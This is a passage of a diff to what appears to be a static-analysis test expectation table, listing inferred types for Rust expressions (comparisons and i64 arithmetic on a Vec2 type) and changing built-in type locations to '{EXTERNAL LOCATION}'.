| | main.rs:1493:22:1493:26 | other | | file://:0:0:0:0 | & | | main.rs:1493:22:1493:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1493:44:1495:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1493:44:1495:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1494:13:1494:16 | self | | file://:0:0:0:0 | & | | main.rs:1494:13:1494:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:13:1494:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1494:13:1494:28 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1494:13:1494:48 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1494:13:1494:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1494:13:1494:28 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1494:13:1494:48 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1494:22:1494:26 | other | | file://:0:0:0:0 | & | | main.rs:1494:22:1494:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:22:1494:28 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1494:22:1494:28 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1494:33:1494:36 | self | | file://:0:0:0:0 | & | | main.rs:1494:33:1494:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:33:1494:38 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1494:33:1494:48 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1494:33:1494:38 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1494:33:1494:48 | ... < ... | | {EXTERNAL LOCATION} | bool | | main.rs:1494:42:1494:46 | other | | file://:0:0:0:0 | & | | main.rs:1494:42:1494:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:42:1494:48 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1494:42:1494:48 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1497:15:1497:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1497:15:1497:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1497:22:1497:26 | other | | file://:0:0:0:0 | & | | main.rs:1497:22:1497:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1497:44:1499:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1497:44:1499:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1498:13:1498:16 | self | | file://:0:0:0:0 | & | | main.rs:1498:13:1498:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:13:1498:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1498:13:1498:29 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1498:13:1498:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1498:13:1498:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1498:13:1498:29 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1498:13:1498:50 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1498:23:1498:27 | other | | file://:0:0:0:0 | & | | main.rs:1498:23:1498:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:23:1498:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1498:23:1498:29 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1498:34:1498:37 | self | | file://:0:0:0:0 | & | | main.rs:1498:34:1498:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:34:1498:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1498:34:1498:50 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1498:34:1498:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1498:34:1498:50 | ... <= ... | | {EXTERNAL LOCATION} | bool | | main.rs:1498:44:1498:48 | other | | file://:0:0:0:0 | & | | main.rs:1498:44:1498:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1498:44:1498:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1498:44:1498:50 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1501:15:1501:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1501:15:1501:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1501:22:1501:26 | other | | file://:0:0:0:0 | & | | main.rs:1501:22:1501:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1501:44:1503:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1501:44:1503:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1502:13:1502:16 | self | | file://:0:0:0:0 | & | | main.rs:1502:13:1502:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:13:1502:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1502:13:1502:28 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1502:13:1502:48 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1502:13:1502:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1502:13:1502:28 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1502:13:1502:48 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1502:22:1502:26 | other | | file://:0:0:0:0 | & | | main.rs:1502:22:1502:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:22:1502:28 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1502:22:1502:28 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1502:33:1502:36 | self | | file://:0:0:0:0 | & | | main.rs:1502:33:1502:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:33:1502:38 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1502:33:1502:48 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1502:33:1502:38 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1502:33:1502:48 | ... > ... | | {EXTERNAL LOCATION} | bool | | main.rs:1502:42:1502:46 | other | | file://:0:0:0:0 | & | | main.rs:1502:42:1502:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1502:42:1502:48 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1502:42:1502:48 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1505:15:1505:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1505:15:1505:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1505:22:1505:26 | other | | file://:0:0:0:0 | & | | main.rs:1505:22:1505:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1505:44:1507:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1505:44:1507:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1506:13:1506:16 | self | | file://:0:0:0:0 | & | | main.rs:1506:13:1506:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:13:1506:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1506:13:1506:29 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1506:13:1506:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1506:13:1506:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1506:13:1506:29 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1506:13:1506:50 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1506:23:1506:27 | other | | file://:0:0:0:0 | & | | main.rs:1506:23:1506:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:23:1506:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1506:23:1506:29 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1506:34:1506:37 | self | | file://:0:0:0:0 | & | | main.rs:1506:34:1506:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:34:1506:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1506:34:1506:50 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1506:34:1506:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1506:34:1506:50 | ... >= ... | | {EXTERNAL LOCATION} | bool | | main.rs:1506:44:1506:48 | other | | file://:0:0:0:0 | & | | main.rs:1506:44:1506:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1506:44:1506:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1513:13:1513:18 | i64_eq | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:22:1513:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:23:1513:26 | 1i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1513:23:1513:34 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1513:31:1513:34 | 2i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1514:13:1514:18 | i64_ne | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:22:1514:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:23:1514:26 | 3i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1514:23:1514:34 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1514:31:1514:34 | 4i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1515:13:1515:18 | i64_lt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:22:1515:34 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:23:1515:26 | 5i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1515:23:1515:33 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1515:30:1515:33 | 6i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1516:13:1516:18 | i64_le | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:22:1516:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:23:1516:26 | 7i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1516:23:1516:34 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1516:31:1516:34 | 8i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1517:13:1517:18 | i64_gt | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:22:1517:35 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:23:1517:26 | 9i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1517:23:1517:34 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1517:30:1517:34 | 10i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1518:13:1518:18 | i64_ge | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:22:1518:37 | (...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:23:1518:27 | 11i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1518:23:1518:36 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1518:32:1518:36 | 12i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:13:1521:19 | i64_add | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:23:1521:27 | 13i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:23:1521:35 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1521:31:1521:35 | 14i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:13:1522:19 | i64_sub | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:23:1522:27 | 15i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:23:1522:35 | ... - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1522:31:1522:35 | 16i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:13:1523:19 | i64_mul | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:23:1523:27 | 17i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:23:1523:35 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1523:31:1523:35 | 18i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:13:1524:19 | i64_div | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:23:1524:27 | 19i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:23:1524:35 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1524:31:1524:35 | 20i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:13:1525:19 | i64_rem | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:23:1525:27 | 21i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:23:1525:35 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1525:31:1525:35 | 22i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1528:13:1528:30 | mut i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1528:34:1528:38 | 23i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1529:9:1529:22 | i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1506:44:1506:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:13:1513:18 | i64_eq | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:22:1513:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:23:1513:26 | 1i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1513:23:1513:34 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1513:31:1513:34 | 2i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1514:13:1514:18 | i64_ne | | {EXTERNAL LOCATION} | bool | +| main.rs:1514:22:1514:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1514:23:1514:26 | 3i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1514:23:1514:34 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1514:31:1514:34 | 4i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1515:13:1515:18 | i64_lt | | {EXTERNAL LOCATION} | bool | +| main.rs:1515:22:1515:34 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1515:23:1515:26 | 5i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1515:23:1515:33 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1515:30:1515:33 | 6i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1516:13:1516:18 | i64_le | | {EXTERNAL LOCATION} | bool | +| main.rs:1516:22:1516:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1516:23:1516:26 | 7i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1516:23:1516:34 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1516:31:1516:34 | 8i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:13:1517:18 | i64_gt | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:22:1517:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:23:1517:26 | 9i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1517:23:1517:34 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1517:30:1517:34 | 10i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1518:13:1518:18 | i64_ge | | {EXTERNAL LOCATION} | bool | +| main.rs:1518:22:1518:37 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1518:23:1518:27 | 11i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1518:23:1518:36 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1518:32:1518:36 | 12i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:13:1521:19 | i64_add | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:23:1521:27 | 13i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:23:1521:35 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:31:1521:35 | 14i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1522:13:1522:19 | i64_sub | | {EXTERNAL LOCATION} | i64 | +| main.rs:1522:23:1522:27 | 15i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1522:23:1522:35 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1522:31:1522:35 | 16i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1523:13:1523:19 | i64_mul | | {EXTERNAL LOCATION} | i64 | +| main.rs:1523:23:1523:27 | 17i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1523:23:1523:35 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1523:31:1523:35 | 18i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:13:1524:19 | i64_div | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:23:1524:27 | 19i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:23:1524:35 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:31:1524:35 | 20i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:13:1525:19 | i64_rem | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:23:1525:27 | 21i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:23:1525:35 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:31:1525:35 | 22i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1528:13:1528:30 | mut i64_add_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1528:34:1528:38 | 23i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1529:9:1529:22 | i64_add_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1529:9:1529:31 | ... += ... | | file://:0:0:0:0 | () | -| main.rs:1529:27:1529:31 | 24i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1531:13:1531:30 | mut i64_sub_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1531:34:1531:38 | 25i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1532:9:1532:22 | i64_sub_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1529:27:1529:31 | 24i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1531:13:1531:30 | mut i64_sub_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1531:34:1531:38 | 25i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1532:9:1532:22 | i64_sub_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1532:9:1532:31 | ... -= ... | | file://:0:0:0:0 | () | -| main.rs:1532:27:1532:31 | 26i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1534:13:1534:30 | mut i64_mul_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1534:34:1534:38 | 27i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1535:9:1535:22 | i64_mul_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1532:27:1532:31 | 26i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1534:13:1534:30 | mut i64_mul_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1534:34:1534:38 | 27i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1535:9:1535:22 | i64_mul_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1535:9:1535:31 | ... *= ... | | file://:0:0:0:0 | () | -| main.rs:1535:27:1535:31 | 28i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1537:13:1537:30 | mut i64_div_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1537:34:1537:38 | 29i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1538:9:1538:22 | i64_div_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1535:27:1535:31 | 28i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1537:13:1537:30 | mut i64_div_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1537:34:1537:38 | 29i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1538:9:1538:22 | i64_div_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1538:9:1538:31 | ... /= ... | | file://:0:0:0:0 | () | -| main.rs:1538:27:1538:31 | 30i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1540:13:1540:30 | mut i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1540:34:1540:38 | 31i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1541:9:1541:22 | i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1538:27:1538:31 | 30i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:13:1540:30 | mut i64_rem_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:34:1540:38 | 31i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:9:1541:22 | i64_rem_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1541:9:1541:31 | ... %= ... | | file://:0:0:0:0 | () | -| main.rs:1541:27:1541:31 | 32i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:13:1544:22 | i64_bitand | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:26:1544:30 | 33i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:26:1544:38 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1544:34:1544:38 | 34i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:13:1545:21 | i64_bitor | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:25:1545:29 | 35i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:25:1545:37 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1545:33:1545:37 | 36i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:13:1546:22 | i64_bitxor | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:26:1546:30 | 37i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:26:1546:38 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1546:34:1546:38 | 38i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:13:1547:19 | i64_shl | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:23:1547:27 | 39i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:23:1547:36 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1547:32:1547:36 | 40i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:13:1548:19 | i64_shr | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:23:1548:27 | 41i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:23:1548:36 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1548:32:1548:36 | 42i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1551:13:1551:33 | mut i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1551:37:1551:41 | 43i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1552:9:1552:25 | i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1541:27:1541:31 | 32i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:13:1544:22 | i64_bitand | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:26:1544:30 | 33i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:26:1544:38 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:34:1544:38 | 34i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1545:13:1545:21 | i64_bitor | | {EXTERNAL LOCATION} | i64 | +| main.rs:1545:25:1545:29 | 35i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1545:25:1545:37 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1545:33:1545:37 | 36i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1546:13:1546:22 | i64_bitxor | | {EXTERNAL LOCATION} | i64 | +| main.rs:1546:26:1546:30 | 37i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1546:26:1546:38 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1546:34:1546:38 | 38i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:13:1547:19 | i64_shl | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:23:1547:27 | 39i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:23:1547:36 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:32:1547:36 | 40i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:13:1548:19 | i64_shr | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:23:1548:27 | 41i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:23:1548:36 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:32:1548:36 | 42i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1551:13:1551:33 | mut i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1551:37:1551:41 | 43i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1552:9:1552:25 | i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1552:9:1552:34 | ... &= ... | | file://:0:0:0:0 | () | -| main.rs:1552:30:1552:34 | 44i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1554:13:1554:32 | mut i64_bitor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1554:36:1554:40 | 45i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1555:9:1555:24 | i64_bitor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1552:30:1552:34 | 44i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1554:13:1554:32 | mut i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1554:36:1554:40 | 45i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1555:9:1555:24 | i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | | main.rs:1555:9:1555:33 | ... \|= ... | | file://:0:0:0:0 | () | -| main.rs:1555:29:1555:33 | 46i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1557:13:1557:33 | mut i64_bitxor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1557:37:1557:41 | 47i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1558:9:1558:25 | i64_bitxor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1555:29:1555:33 | 46i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1557:13:1557:33 | mut i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1557:37:1557:41 | 47i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1558:9:1558:25 | i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | | 